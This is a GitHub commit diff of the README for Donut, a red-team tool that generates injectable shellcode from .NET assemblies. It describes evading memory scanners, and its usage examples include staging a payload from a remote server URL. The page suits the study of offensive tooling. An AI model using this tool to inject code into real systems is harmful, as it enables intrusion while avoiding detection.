Skip to content

Commit 4507ac2

Browse files
authored
v0.9.1 changes
1 parent 2f23a4d commit 4507ac2

File tree

1 file changed

+14
-10
lines changed

1 file changed

+14
-10
lines changed

README.md

+14-10
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,17 @@
11
# Using Donut
22

33
![Alt text](https://github.com/TheWover/donut/blob/master/img/donut.PNG?raw=true "An ASCII donut")
4-
Version: 0.9 (Beta) *please submit issues and requests for v1.0 release*
4+
Version: 0.9.1 (Beta) *please submit issues and requests for v1.0 release*
55

66
Odzhan's blog post (about the generator): https://modexp.wordpress.com/2019/05/10/dotnet-loader-shellcode/
77

88
TheWover's blog post (detailed walkthrough, and about how donut affects tradecraft): https://thewover.github.io/Introducing-Donut/
99

10+
Version 0.9.1 "Apple Fritter" Release Blog Post: https://thewover.github.io/Apple-Fritter/
11+
1012
## Introduction
1113

12-
Donut is a shellcode generation tool that creates x86 or x64 shellcode payloads from .NET Assemblies. This shellcode may be used to inject the Assembly into arbitrary Windows processes. Given an arbitrary .NET Assembly, parameters, and an entry point (such as Program.Main), it produces position-independent shellcode that loads it from memory. The .NET Assembly can either be staged from a URL or stageless by being embedded directly in the shellcode. Either way, the .NET Assembly is encrypted with the Chaskey block cipher and a 128-bit randomly generated key. After the Assembly is loaded through the CLR, the original reference is erased from memory to deter memory scanners. The Assembly is loaded into a new Application Domain to allow for running Assemblies in disposable AppDomains.
14+
Donut is a shellcode generation tool that creates position-independant shellcode payloads from .NET Assemblies. This shellcode may be used to inject the Assembly into arbitrary Windows processes. Given an arbitrary .NET Assembly, parameters, and an entry point (such as Program.Main), it produces position-independent shellcode that loads it from memory. The .NET Assembly can either be staged from a URL or stageless by being embedded directly in the shellcode. Either way, the .NET Assembly is encrypted with the Chaskey block cipher and a 128-bit randomly generated key. After the Assembly is loaded through the CLR, the original reference is erased from memory to deter memory scanners. The Assembly is loaded into a new Application Domain to allow for running Assemblies in disposable AppDomains.
1315

1416
It can be used in several ways.
1517

@@ -19,20 +21,21 @@ Donut can be used as-is to generate shellcode from arbitrary .NET Assemblies. Bo
1921

2022
```
2123
22-
usage: donut [options] -f <.NET assembly> -c <namespace.class> -m <Method>
24+
usage: donut [options] -f <.NET assembly>
2325
2426
-f <path> .NET assembly to embed in PIC and DLL.
25-
-u <URL> HTTP server hosting the .NET assembly.
26-
-c <namespace.class> The assembly class name.
27-
-m <method> The assembly method name.
28-
-p <arg1,arg2...> Optional parameters for method, separated by comma or semi-colon.
29-
-a <arch> Target architecture : 1=x86, 2=amd64(default).
30-
-r <version> CLR runtime version. v4.0.30319 is used by default.
27+
-u <URL> HTTP server that will host the .NET assembly.
28+
-c <namespace.class> Optional class name. (required for DLL)
29+
-m <method> Optional method name. (required for DLL)
30+
-p <arg1,arg2...> Optional parameters or command line, separated by comma or semi-colon.
31+
-a <arch> Target architecture : 1=x86, 2=amd64, 3=amd64+x86(default).
32+
-r <version> CLR runtime version. MetaHeader used by default or v4.0.30319 if none available.
3133
-d <name> AppDomain name to create for assembly. Randomly generated by default.
3234
3335
examples:
3436
35-
donut -a 1 -c TestClass -m RunProcess -p notepad.exe -f loader.dll
37+
donut -f assembly.exe
38+
donut -a1 -cTestClass -mRunProcess -pnotepad.exe -floader.dll
3639
donut -f loader.dll -c TestClass -m RunProcess -p notepad.exe -u http://remote_server.com/modules/
3740
3841
```
@@ -42,6 +45,7 @@ Donut can be used as-is to generate shellcode from arbitrary .NET Assemblies. Bo
4245
Tags have been provided for each release version of donut that contain the compiled executables.
4346

4447
* v0.9 Beta: https://github.com/TheWover/donut/releases/tag/v0.9
48+
* v0.9.1 Beta: https://github.com/TheWover/donut/releases/tag/v0.9.1
4549

4650
However, you may also clone and build the source yourself using the provided makefiles. Start a Microsoft Visual Studio Developer Command Prompt and `` cd `` to donut's directory. The Microsft (non-gcc) Makefile can be specified with ``` -f Makefile.msvc ```. The makefile provides the following commmands to build donut:
4751

0 commit comments

Comments
 (0)